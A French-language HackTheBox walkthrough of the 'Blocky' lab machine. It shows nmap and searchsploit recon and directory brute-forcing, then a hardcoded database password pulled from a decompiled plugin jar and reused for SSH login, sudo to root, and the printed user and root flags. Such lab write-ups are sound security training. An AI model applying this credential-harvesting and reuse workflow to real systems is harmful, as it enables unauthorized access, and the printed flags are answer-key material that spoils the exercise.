HackTheBox Walkthrough - Blocky

  • Machine ciblée : Blocky.

  • Répertoire : /home/kali/Blocky

  • Temps passé dessus :

Changelog du template

  • Version 1.0 - Sep. 2022 : création du template de base

  • Version 1.1 - Oct. 2022 : Rajout des scan nmap et des commandes de base

  • Version 1.2 - Nov. 2022 : Rajout des redirection pour éviter les retours d’erreur et du domaine pour être compliant avec TryHackMe

  • Version 1.3 - Nov. 2022 : Ajout du scan UDP + de l’export vers searchsploit

  • Version 1.4 - Dec. 2022 : Changement de l’export vers searchsploit pour gagner du temps + rajout des scripts vuln sur le full pour confirmer.

Phase 1 : Reconnaissance

┌──(kali㉿kali)-[~]
└─$
name="Blocky"
repository="/home/kali/$name"
ip="10.10.10.37"
domain='htb'
cd $repository 2&>/dev/null || mkdir $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts  >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts

nmap  -Pn -A -T5 --top-port 1000 -oN $repository/txt -oX $repository/sploitable $ip
searchsploit --nmap $repository/sploitable
nmap  -Pn -A -T5 -p - --script vuln -oN $repository/full -oX $repository/fullsploitable $ip
sudo nmap  -Pn -A -T5 -sU -p - -oN $repository/udp -oX $repository/udploitable $ip
searchsploit --nmap $repository/udploitable

PORT     STATE  SERVICE VERSION
21/tcp   open   ftp     ProFTPD 1.3.5a
22/tcp   open   ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d62b99b4d5e753ce2bfcb5d79d79fba2 (RSA)
|   256 5d7f389570c9beac67a01e86e7978403 (ECDSA)
|_  256 09d5c204951a90ef87562597df837067 (ED25519)
80/tcp   open   http    Apache httpd 2.4.18
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://blocky.htb
8192/tcp closed sophos
25565/tcp open   minecraft Minecraft 1.11.2 (Protocol: 127, Message: A Minecraft Server, Users: 0/20)
Service Info: Host: 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.22 seconds
[i] SearchSploit s XML mode (without verbose enabled).   To enable: searchsploit -v --xml...
[i] Reading: '/home/kali/Blocky/sploitable'
[-] Skipping term: ftp   (Term is too general. Please re-search manually: /usr/bin/searchsploit -t ftp)
[i] /usr/bin/searchsploit -t proftpd
--------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                |  Path
--------------------------------------------------------------------------------------------- ---------------------------------
FreeBSD - 'ftpd / ProFTPd' Remote Command Execution                                          | freebsd/remote/18181.txt
ProFTPd - 'ftpdctl' 'pr_ctrls_connect' Local Overflow                                        | linux/local/394.c
ProFTPd - 'mod_mysql' Authentication Bypass                                                  | multiple/remote/8037.txt
ProFTPd - 'mod_sftp' Integer Overflow Denial of Service (PoC)                                | linux/dos/16129.txt
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)                                    | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution                                          | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)                                      | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                                                    | linux/remote/36742.txt
ProFTPd 1.x - 'mod_tls' Remote Buffer Overflow                                               | linux/remote/4312.c
ProFTPd IAC 1.3.x - Remote Command Execution                                                 | linux/remote/15449.pl
ProFTPd-1.3.3c - Backdoor Command Execution (Metasploit)                                     | linux/remote/16921.rb
WU-FTPD 2.4.2 / SCO Open Server 5.0.5 / ProFTPd 1.2 pre1 - 'realpath' Remote Buffer Overflow | linux/remote/19086.c
WU-FTPD 2.4.2 / SCO Open Server 5.0.5 / ProFTPd 1.2 pre1 - 'realpath' Remote Buffer Overflow | linux/remote/19087.c
WU-FTPD 2.4/2.5/2.6 / Trolltech ftpd 1.2 / ProFTPd 1.2 / BeroFTPD 1.3.4 FTP - glob Expansion | linux/remote/20690.sh
--------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

[-] Skipping term: ssh   (Term is too general. Please re-search manually: /usr/bin/searchsploit -t ssh)
[i] /usr/bin/searchsploit -t openssh
----------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                       |  Path
----------------------------------------------------------------------------------------------------- ---------------------------------
Debian OpenSSH - (Authenticated) Remote SELinux Privilege Escalation                                 | linux/remote/6094.txt
Dropbear / OpenSSH Server - 'MAX_UNAUTH_CLIENTS' Denial of Service                                   | multiple/dos/1572.pl
OpenSSH 2.3 < 7.7 - Username Enumeration                                                             | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)                                                       | linux/remote/45210.py
OpenSSH 7.2p2 - Username Enumeration                                                                 | linux/remote/40136.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Escalation | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading                                             | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2)                                                                 | linux/remote/45939.py
OpenSSH SCP Client - Write Arbitrary Files                                                           | multiple/remote/46516.py
OpenSSHd 7.2p2 - Username Enumeration                                                                | linux/remote/40113.txt
Portable OpenSSH 3.6.1p-PAM/4.1-SuSE - Timing Attack                                                 | multiple/remote/3303.sh
----------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results


[-] Skipping term: http   (Term is too general. Please re-search manually: /usr/bin/searchsploit -t http)
[i] /usr/bin/searchsploit -t apache httpd
------------------------------------------------------------------------------ ----------------------------
 Exploit Title                                                                |  Path
------------------------------------------------------------------------------ ----------------------------
Apache Httpd mod_proxy - Error Page Cross-Site Scripting                      | multiple/webapps/47688.md
Apache Httpd mod_rewrite - Open Redirects                                     | multiple/webapps/47689.md
------------------------------------------------------------------------------ ----------------------------
Shellcodes: No Results

On a du ftp, du web et un port chelou. Allons voir tout ça.

Phase 2 : Analyse

Ça ne se voit pas, mais en plus de lancer mes scans, je vais en profiter pour jeter un oeil sur le site web. On se rends compte que c’est un wordpress, on attends donc logiquement que les crawler nous ressortent un wp-admin. On voit également qu’il n’y a qu’un seul article signé Notch. On peut garder ce nom pour plus tard.

┌──(kali㉿kali)-[~/Blocky]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$name.$domain
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
Error: the server returns a status code that matches the provided options for non existing urls. http://Blocky.htb/5fdcb168-4252-4ebe-82ac-cee75c3786cb => 302 (Length: 277). To continue please exclude the status code or the length
┌──(kali㉿kali)-[~/Blocky]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --exclude-length 273 -u http://$name -k -x php,txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://blocky
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Exclude Length:          273
[+] User Agent:              gobuster/3.3
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
2022/12/04 19:15:51 Starting gobuster in directory enumeration mode
===============================================================
Progress: 661429 / 661683 (99.96%)
===============================================================
2022/12/04 19:36:32 Finished

Rien ne resort vraiment, ce qui est plutôt fâcheux … On va devoir utiliser dirbuster à la place. l'Output de DirBuster On va donc fouiller les trucs que l’on ne connait pas encore comme le wiki ou même le répertoire plugins … Miracle ! Deux fichiers .jar !

Phase 3 : User

┌──(kali㉿kali)-[~/Blocky]
└─$ wget http://blocky.htb/plugins/files/BlockyCore.jar
--2022-12-05 09:46:02--  http://blocky.htb/plugins/files/BlockyCore.jar
BlockyCore.jar                                             100%[===========>]     883  --.-KB/s    ds 0s

2022-12-05 09:46:02 (44,5 MB/s)  « BlockyCore.jar » sauvegardé [883/883]
┌──(kali㉿kali)-[~/Blocky]
└─$ wget http://blocky.htb/plugins/files/griefprevention-1.11.2-3.1.1.298.jar
--2022-12-05 09:46:19--  http://blocky.htb/plugins/files/griefprevention-1.11.2-3.1.1.298.jar
griefprevention-1.11.2-3.1.1.298.jar                       100%[============>] 520,44K   759KB/s    ds 0,7s

2022-12-05 09:46:20 (759 KB/s)  « griefprevention-1.11.2-3.1.1.298.jar » sauvegardé [532928/532928]

Ouais, en vrai, je les ai téléchargé en interface graphique, “y’a aucun moyen de savoir qu’ils sont dans files sinon. Comme j’y connais pas grand chose en java, je vais les passer tous les deux sur decompiler.com en commençant par Blocky.jar.

public class BlockyCore {
   public String sqlHost = "localhost";
   public String sqlUser = "root";
   public String sqlPass = "8YsqfCTnvxAUeduzjNSXe22";
}

Bon, ça semble plutôt intéressant tout ça. On a le code du sql, mais comment vas-t-on l’exploiter … A moins que … ?

┌──(kali㉿kali)-[~/Blocky]
└─$ ftp $ip
Connected to 10.10.10.37.
220 ProFTPD 1.3.5a Server (Debian) [::ffff:10.10.10.37]
Name (10.10.10.37:kali): root
331 Password required for root
Password:
530 Login incorrect.
ftp: Login failed

┌──(kali㉿kali)-[~/Blocky]
└─$ ssh root@$ip
root@10.10.10.37 s password:

Bon, ça s’annonce mal … Et si on essaye avec l’utilisateur qu’on a trouvé ? Vous savez ? notch ?

┌──(kali㉿kali)-[~/Blocky]
└─$ ssh notch@$ip
notch@10.10.10.37 s password:
notch@Blocky:~$

Phase 4 : Elevation de privilege

Ok, première étape de passer. J’ai pas mal galéré, alors à quoi doit-on s’attendre maintenant ? …

notch@Blocky:~$ sudo -l
[sudo] password for notch:
Matching Defaults entries for notch on Blocky:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User notch may run the following commands on Blocky:
    (ALL : ALL) ALL
notch@Blocky:~$ sudo su
root@Blocky:/home/notch# cat ./user.txt
57f38819fd7503835902d33bb404b848
root@Blocky:/home/notch# cat /root/root.txt
da66bd13e8640bd57c8c93f44ab050fe
root@Blocky:/home/notch# ^C
root@Blocky:/home/notch# exit

Récapitulatif

Honêtement, j’ai calé quand le gobuster a rien renvoyé. Je savais qu’il y avait un soucis, mais je ne savais pas comment le résoudre. Il va falloir que je passe quelques temps à m’entrainer avec ce dernier pour réussir à bien en saisir son fonctionnement. Le déroulé logique de la box était « simple » : tu scan, tu vois un wordpress. Tu essaies de récupérer des informations sur ce dernier et en même temps, tu lances ton énumération web. Tu trouves que le rédacteur du site est notch. Et pendant ton énumérations, tu trouves un dossier plugins.

A retenir

  • Ne pas stocker des mots de passes en clair dans des fichiers …

  • … et encore moins laisser ces fichiers accessibles à tous !